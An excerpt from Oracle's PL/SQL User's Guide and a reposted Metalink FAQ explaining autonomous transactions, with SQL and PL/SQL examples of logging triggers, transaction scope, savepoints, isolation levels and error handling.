Among other things, you can use database triggers to log events transparently.
Suppose you want to track all inserts into a table, even those that roll back. In the
example below, you use a trigger to insert duplicate rows into a shadow table. Because
it is autonomous, the trigger can commit changes to the shadow table whether or not
you commit changes to the main table.
– create a main table and its shadow table
CREATE TABLE parts (pnum NUMBER(4), pname VARCHAR2(15));
CREATE TABLE parts_log (pnum NUMBER(4), pname VARCHAR2(15));
– create an autonomous trigger that inserts into the
– shadow table before each insert into the main table
CREATE TRIGGER parts_trig
BEFORE INSERT ON parts FOR EACH ROW
DECLARE
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
INSERT INTO parts_log VALUES(:new.pnum, :new.pname);
COMMIT;
END;
– insert a row into the main table, and then commit the insert
INSERT INTO parts VALUES (1040, ‘Head Gasket’);
COMMIT;
– insert another row, but then roll back the insert
INSERT INTO parts VALUES (2075, ‘Oil Pan’);
Doing Independent Units of Work with Autonomous Transactions
Performing SQL Operations from PL/SQL 6-39
ROLLBACK;
– show that only committed inserts add rows to the main table
SELECT * FROM parts ORDER BY pnum;
PNUM PNAME
——- —————
1040 Head Gasket
– show that both committed and rolled-back inserts add rows
– to the shadow table
SELECT * FROM parts_log ORDER BY pnum;
PNUM PNAME
——- —————
1040 Head Gasket
2075 Oil Pan
Unlike regular triggers, autonomous triggers can execute DDL statements using native
dynamic SQL (discussed in Chapter 7, “Performing SQL Operations with Native
Dynamic SQL”). In the following example, trigger bonus_trig drops a temporary
database table after table bonus is updated:
CREATE TRIGGER bonus_trig
AFTER UPDATE ON bonus
DECLARE
PRAGMA AUTONOMOUS_TRANSACTION; — enables trigger to perform DDL
BEGIN
EXECUTE IMMEDIATE ‘DROP TABLE temp_bonus’;
END;
For more information about database triggers, see Oracle Database Application
Developer’s Guide – Fundamentals.
Calling Autonomous Functions from SQL
A function called from SQL statements must obey certain rules meant to control side
effects. (See “Controlling Side Effects of PL/SQL Subprograms” on page 8-22.) To check
for violations of the rules, you can use the pragma RESTRICT_REFERENCES. The
pragma asserts that a function does not read or write database tables or package
variables. (For more information, See Oracle Database Application Developer’s Guide -
Fundamentals.)
However, by definition, autonomous routines never violate the rules “read no database
state” (RNDS) and “write no database state” (WNDS) no matter what they do. This can be
useful, as the example below shows. When you call the packaged function log_msg
from a query, it inserts a message into database table debug_output without
violating the rule “write no database state.”
– create the debug table
CREATE TABLE debug_output (msg VARCHAR2(200));
– create the package spec
CREATE PACKAGE debugging AS
FUNCTION log_msg (msg VARCHAR2) RETURN VARCHAR2;
PRAGMA RESTRICT_REFERENCES(log_msg, WNDS, RNDS);
END debugging;
– create the package body
CREATE PACKAGE BODYq debugging AS
FUNCTION log_msg (msg VARCHAR2) RETURN VARCHAR2 IS
PRAGMA AUTONOMOUS_TRANSACTION;
Doing Independent Units of Work with Autonomous Transactions
6-40 PL/SQL User’s Guide and Reference
BEGIN
– the following insert does not violate the constraint
– WNDS because this is an autonomous routine
INSERT INTO debug_output VALUES (msg);
COMMIT;
RETURN msg;
END;
END debugging;
– call the packaged function from a query
DECLARE
my_empno NUMBER(4);
my_ename VARCHAR2(15);
BEGIN
…
SELECT debugging.log_msg(ename) INTO my_ename FROM emp
WHERE empno = my_empno;
– even if you roll back in this scope, the insert
– into ‘debug_output’ remains committed because
– it is part of an autonomous transaction
IF … THEN
ROLLBACK;
END IF;
END;
——————-From Metalink——————————-
| Oracle 8.1.5 and higher : Autonomous Transactions | ||||
| Doc ID: | Note:65961.1 | Type: | FAQ | |
| Last Revision Date: | 08-OCT-2007 | Status: | PUBLISHED | |
"Checked for relevance on 08-Oct-2007"
Introduction
------------
Oracle Support analysts are often asked whether it is possible to
commit to a given savepoint in the same way that one may roll back to
a savepoint. The question usually stems from a desire to be able to
have some operation take place independently of the current
transaction, for instance to allow error messages written to a table
to be committed, but to roll back everything else that has taken place
prior to the error.
With Oracle8i we have not introduced "commit to savepoint" as such
but have provided the ability to temporarily suspend the current
transaction and begin another. This second transaction is known as
an autonomous transaction and, as the name suggests, runs
independently of its parent. The autonomous or child transaction can
commit or rollback as applicable with the execution of the parent
transaction being resumed upon its completion. The parent may then
perform further operations and commit or rollback without affecting
the outcome of any operations performed within the child.
Thus, the introduction of autonomous transactions allows users to
more easily develop modular, reusable components. Calling
applications no longer need to be aware of what components do
internally and the components themselves need no knowledge of which
operations an application has performed prior to calling, making
this feature of particular interest to Cartridge Developers.
In fact, Oracle already uses similar functionality internally, known as
recursive transactions, to handle the updating of system resources.
For example, when one application selects "nextval" from a non-cached
sequence, the value is immediately incremented in the database. Thus,
a second application will always get the incremented value from the
sequence, regardless of whether the first application has committed or
rolled back.
A. Defining Autonomous Transactions
------------------------------------
In the current release of Oracle8i (8.1), autonomous transactions are
provided through PL/SQL only, though the intention is to extend the
capability to OCI in later releases.
A PL/SQL routine is marked as autonomous by placing the following
pragma (compiler directive) anywhere within its declare section:
pragma AUTONOMOUS_TRANSACTION;
The pragma may appear in the declare section of any of the following:
(i) top-level anonymous blocks
(ii) local, standalone or packaged functions and procedures
(iii) methods of object types
(iv) database triggers
It may not appear:
(i) outside of a declare section
(ii) within the declare section of a nested block (i.e., a block
within a block)
(iii) in a package specification
(iv) in a package body outside of a procedure or function
definition
(v) in a type body outside of a method definition
B. Transaction Control Flow
---------------------------
When a transaction is in progress, and a code unit declared as an
autonomous transaction is encountered, the following happens:
(i) The parent (or main) transaction remains active while any
statements specified in the declare section of the autonomous unit
are executed.
Note that statements physically positioned after the pragma in the
declare section are run as part of the parent transaction, just as
exceptions generated in a declare section are always caught in the
calling routine's handler.
(ii) At the point that the first executable step after the begin
is reached, the parent transaction is suspended and a new one is
started.
(iii) The code unit is executed as normal but with its transaction
context set to the new transaction.
(iv) If a commit or rollback is executed in the code unit, the
autonomous transaction is ended; the main transaction is still
suspended at this point. If any further operations are performed
within the autonomous unit after this point, then a new transaction is
started.
(v) As the code unit exits and control returns to the parent, the
main transaction is resumed and the transaction context is switched
back to the parent.
Nesting Autonomous Transactions
--------------------------------
Autonomous transactions may be nested. If an autonomous transaction
is already in progress when another is encountered, then the current
one is suspended and a new one started. The limit on the number of
suspended transactions is governed by the initialization parameter
"transactions".
C. Scope and Visibility
-----------------------
Variables
---------
Just like any other code units, those declared as autonomous
transactions have the same scoping rules for accessing global and
local variables. If variables are in the scope of both the parent and
the child, then any values set in the parent are visible to the
child since variables are not controlled by the transaction context.
Similarly, if a child updates a variable in the parent's scope, then
the parent sees that change when its execution resumes.
Session Parameters
------------------
Session parameters are also not affected by transaction context.
Therefore, an alter session performed during the parent transaction is
applicable to the child transaction and vice versa.
Database Changes
----------------
As all database changes are part of a transaction, if a parent has
modified data, but not committed it at the point the autonomous
transaction begins, then those modifications are not visible to
the child. Whether changes committed as part of a completed child
transaction are visible to the parent or not depends upon the
isolation level of the parent. See "Transaction Control Commands"
below.
Locks
-----
Because the parent and child transactions are independent, they
also are not be able to share any locks; if a parent transaction has a
resource locked that a child attempts to obtain, then a deadlock
situation occurs. In this case, the offending statement is
automatically rolled back with an "ORA-00060: deadlock detected while
waiting for resource" exception raised within the child.
Examples
--------
Assume the following has been run:
create table msg (msg varchar2(120));
1. First, some PL/SQL code that does not use autonomous transactions:
declare
var1 number := 0; --} Global variables
cnt number := -1; --}
procedure local is
begin
if cnt = -1 then
dbms_output.put_line('var1 in local is '||var1);
var1 := var1*10;
end if;
select count(*) into cnt from msg;
dbms_output.put_line('local: # of rows is '||cnt);
insert into msg values ('New Record');
commit;
end;
begin
var1 := 2;
insert into msg values ('Row 1');
local;
dbms_output.put_line('var1 in main is '||var1);
select count(*) into cnt from msg;
dbms_output.put_line('main: # of rows is '||cnt);
rollback;
local;
insert into msg values ('Row 2');
commit;
local;
select count(*) into cnt from msg;
dbms_output.put_line('main: # of rows is '||cnt);
end;
Running this results in:
var1 in local is 2 -> var1 is visible in local
local: # of rows is 1 -> local can see the uncommitted row
var1 in main is 20 -> new value of var1 is visible in main block
main: # of rows is 2 -> main block sees new row; both are committed
local: # of rows is 2 -> rollback has no effect
local: # of rows is 4 -> local can see rows added in main block and
from its previous execution
main: # of rows is 5 -> main sees all rows
Running the same block but with the local procedure declared as
an autonomous transaction as follows:
...
procedure local is
pragma AUTONOMOUS_TRANSACTION;
begin
...
results in:
var1 in local is 2 -> var1 is visible in local
local: # of rows is 0 -> local cannot see the uncommitted row
inserted in the main block
var1 in main is 20 -> new value of var1 is visible in main block
main: # of rows is 2 -> main block sees new row also; only one row
is committed
local: # of rows is 1 -> local sees the row it inserted last time;
row inserted in main block is rolled back
local: # of rows is 3 -> local sees its rows plus the one committed
in the main block
main: # of rows is 4 -> main sees all rows
2. This example demonstrates how statements executed in the declare
section are run in the scope of the parent. With the following
function created:
create or replace function cntmsg return number as
cnt number := 0;
begin
select count(*) into cnt from msg;
return cnt;
end;
running:
insert into msg values ('Hello');
declare
pragma AUTONOMOUS_TRANSACTION;
x number := cntmsg;
begin
dbms_output.put_line('Number rows = '||x);
x := cntmsg;
dbms_output.put_line('Number rows = '||x);
rollback;
end;
commit;
results in:
Number rows = 1 -> function called in the declare section sees
the row inserted in the parent transaction
Number rows = 0 -> function called in the body is unable to
see the row
with 1 row inserted into the table.
D. Transaction Control
----------------------
Exiting an Autonomous Transaction
---------------------------------
As soon as an autonomous code unit has made any database changes,
locked resources or issued transaction control statements such as set
transaction or savepoint, the transaction is said to be
active. This means that the unit must either explicitly issue a
commit or a full rollback before exiting back to the parent
transaction, or perform an implied commit by issuing a DDL (Data
Definition Language) statement.
It is not sufficient to simply roll back to a savepoint, even if doing
so would leave no outstanding database locks or changes. If no commit
or rollback is done before exiting, then at the point of executing the
"return" or "end" statement, the whole autonomous transaction is rolled
back with the following error raised in the child:
ORA-06519: active autonomous transaction detected and rolled back
If the code unit does not currently have an active transaction in
progress, then it may successfully exit without issuing a commit or
rollback.
Error Handling
--------------
If an autonomous code unit exits in error with an active transaction
in progress, then that transaction is automatically rolled back.
For example, consider that the following function fails upon
execution:
create or replace procedure atx_fail as
pragma AUTONOMOUS_TRANSACTION;
x number;
begin
insert into msg values ('Hello');
x := 'AAA'; -- will generate invalid number error
commit;
end;
Running:
begin
insert into msg values ('Bye');
atx_fail;
exception
when others then
commit;
end;
results in only the row containing "Bye" being written to the
table. If atx_fail was not an autonomous transaction, then the above
example results in both rows being inserted. Similarly, if the
autonomous procedure handled the error itself, committed and exited
successfully back to the parent, then again, both rows are present
in the table upon completion.
Transaction Control Commands
----------------------------
(i) Savepoints
Savepoint and rollback to savepoint commands may be issued within
autonomous transactions. As an autonomous transaction is independent
of the parent transaction context, it is not possible for the child
to roll back to a savepoint in the parent. This also means that the
same savepoint names may be used in both the parent and the child
transactions.
For example, running:
savepoint A;
insert into msg values ('aaa');
declare
pragma AUTONOMOUS_TRANSACTION;
cnt number;
begin
insert into msg values ('bbb');
savepoint A;
insert into msg values ('ccc');
rollback to savepoint A;
insert into msg values ('ddd');
commit;
end;
results in three rows, "aaa", "bbb" and "ddd", in the table.
Issuing:
rollback to savepoint A;
causes row "aaa" to be rolled back.
(ii) Set Transaction and Isolation Level
Set transaction commands may be issued within autonomous transactions
with the same effect as in regular transactions. Setting the
isolation level within a parent transaction governs whether or
not the parent is able to see changes made by the child.
By default, the isolation level is set to "read committed". Thus, if a
child transaction (or separate session) commits changes, the parent
is able to query back those changes immediately. By setting
isolation level to "serializable" in the parent, changes
committed prior to the set transaction command are visible to the
parent, thus, providing a read consistent snapshot at that point in time.
Set transaction commands issued in the parent apply only to that
transaction. Thus, a parent may issue a "set transaction read only"
statement and then invoke a child transaction to perform updates.
E. Invoking Autonomous Transactions via SQL
-------------------------------------------
As a result of issuing SQL, an autonomous transaction can be invoked
in one of three ways:
(i) a trigger fires as part of an update, insert or delete
(ii) a stored function is called from a DML (Data Manipulation
Language) statement
(iii) a method is called directly from a DML statement on an object
column or table, or invoked implicitly as a map or order
method
Triggers
--------
A trigger itself may be declared as an autonomous transaction. For
example:
create or replace trigger trig1 after insert on tab1 for each row
declare
pragma AUTONOMOUS_TRANSACTION;
...
begin
...
end;
or may invoke a procedure or function that is itself autonomous.
This means that as a result of an insert into one table, updates
may be performed on other tables and the changes saved regardless of
the final outcome of the insert.
It also means that it is possible to access the triggering table without
getting a "mutating table" error when the triggering operation performed
affects multiple rows. (In the past, if an operation affected more than
one row, then any triggers firing at row level within the same transaction
were not permitted to query the table that caused the trigger to fire in
the first place.)
It is important to remember that if a trigger is running as an
autonomous transaction, although it still has access to
:OLD and :NEW values as appropriate, it does not see any rows
inserted into the table by the calling transaction. Thus, using an
autonomous trigger to obtain the maximum value currently in the
table, in order to set a primary key column, is unlikely to work.
Using an autonomous trigger to maintain an audit trail of data
changes is possible though.
Functions and Methods
---------------------
Functions and type methods may be used within SQL statements directly,
provided they are shown to have a certain level of purity. The purity
required in this case is a guarantee not to write to the database.
Any code run as part of an autonomous transaction is always deemed
not to read from or write to the database, regardless of which
operations it performs. This means a query can now call a routine
that may update, insert, or delete data as required.
Examples
--------
1. The following is a somewhat dangerous example:
create or replace package p as
function delmsg (p1 in varchar2) return number;
-- A full purity level is permitted because WNDS and RNDS
-- are implicit by the fact that the function is declared
-- as autonomous. Thus the compiler only needs to check
-- operations performed in the declare section plus ensure
-- the body of the function touches no package variables.
--
-- WNDS = writes no database state
-- RNDS = reads no database state
-- WNPS = writes no package state
-- RNPS = reads no package state
--
pragma restrict_references(delmsg,WNDS,RNDS,WNPS,RNPS);
end;
create or replace package body p as
function delmsg (p1 in varchar2) return number as
pragma AUTONOMOUS_TRANSACTION;
begin
delete from msg where msg = p1;
commit;
return 1;
end;
end;
insert into msg values ('Hello');
insert into msg values ('Bye');
commit;
select msg, delmsg(msg) ret from msg;
Although rows are returned, they are deleted at the same time leaving the
table empty.
2. This example defines a method that calculates a person's current
age and then updates the table accordingly if their age in the
database is not correct:
create or replace type peops as object (
name varchar2(50),
dob date,
age number,
member function get_age return number,
pragma restrict_references(get_age,WNDS,RNDS,WNPS,RNPS)
);
create table peops_tab of peops;
create or replace type body peops as
member function get_age return number is
pragma AUTONOMOUS_TRANSACTION;
lage number := 0;
begin
lage := trunc( (sysdate-self.dob)/365 );
if lage != nvl(age,0) then
update peops_tab set age = lage where name = self.name;
commit;
end if;
return lage;
end;
end;
insert into peops_tab values
('Sharon',to_date('08/04/66','dd/mm/rr'),30);
insert into peops_tab values
('George',to_date('10/01/72','dd/mm/rr'),null);
insert into peops_tab values
('Fred',to_date('17/03/84','dd/mm/rr'),14);
commit;
select p.get_age() from peops_tab p;
This results in the correct ages being returned and also written to the
table.
F. Distributed Transactions
---------------------------
Autonomous transactions are not currently supported as part of distributed
transactions.
G. Autonomous Transactions and 3GLs
-----------------------------------
Autonomous transactions may be invoked from 3GLs such as PRO*C and
OCI in the same way they may be invoked from say SQL*Plus, i.e., by:
(i) calling stored program units declared as autonomous
(ii) executing SQL that results is an autonomous trigger, function
or method firing
(iii) executing locally declared autonomous PL/SQL blocks. For
example from PRO*C:
EXEC SQL EXECUTE DECLARE
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
...
END;
END-EXEC;
H. Miscellaneous Examples
------------------------------
This section looks at some further examples.
1. This example demonstrates sharing a cursor between a parent and child
transaction. Note that although the parent has not committed its inserts,
the rows are still visible within the autonomous transaction since it is
fetching the data via a cursor opened by the parent:
create table msg (msg varchar2(120));
insert into msg values ('Row 1');
insert into msg values ('Row 2');
insert into msg values ('Row 3');
insert into msg values ('Row 4');
set serveroutput on
declare
cursor c1 is select * from msg;
ret varchar2(20);
procedure local is
pragma AUTONOMOUS_TRANSACTION;
begin
fetch c1 into ret;
dbms_output.put_line(ret);
insert into msg values ('Row n');
commit;
end;
begin
open c1;
fetch c1 into ret;
dbms_output.put_line(ret);
local;
fetch c1 into ret;
dbms_output.put_line(ret);
local;
close c1;
end;
gives:
Row 1
Row 2
Row 3
Row 4
with 6 rows currently present in the table.
2. This example shows how a LOB locator can be passed from a parent
transaction to an autonomous one without losing its context. By
passing the locator as a parameter, the parent allows the child
access to uncommitted data; that same data is not visible when
selected from the table directly within the child:
create table test_lobs (c1 number,c2 clob);
create table msg (msg varchar2(120));
create or replace function getlen (p1 in clob,
p2 in number) return number as
pragma AUTONOMOUS_TRANSACTION;
len number;
buf varchar2(120);
tlen number;
begin
len := dbms_lob.getlength(p1);
if len != 0 then
dbms_lob.read(p1,len,1,buf);
dbms_output.put_line('Value: '||buf);
insert into msg values (buf);
commit;
end if;
select dbms_lob.getlength(c2) into tlen
from test_lobs where c1=p2;
dbms_output.put_line('Length selected from table is '||tlen);
return len;
end;
insert into test_lobs values (1,'Hello');
insert into test_lobs values (2,'The quick brown fox');
commit;
declare
cl1 clob;
cl2 clob;
ret number;
begin
select c2 into cl1 from test_lobs where c1 = 1 for update;
select c2 into cl2 from test_lobs where c1 = 2;
ret := getlen(cl1,1);
dbms_output.put_line('Length of first row is '||ret);
ret := getlen(cl2,2);
dbms_output.put_line('Length of second row is '||ret);
dbms_lob.writeappend(cl1,6,' there');
ret := getlen(cl1,1);
dbms_output.put_line('Length of first row is now '||ret);
end;
gives:
Value: Hello
Length selected from table is 5
Length of first row is 5
Value: The quick brown fox
Length selected from table is 19
Length of second row is 19
Value: Hello there
Length selected from table is 5
Length of first row is now 11
Selecting from the msg table gives three rows as follows:
Hello
The quick brown fox
Hello there
References
----------
PL/SQL User's Guide and Reference, Interaction with Oracle
Application Developer's Guide - Fundamentals, Processing SQL Statements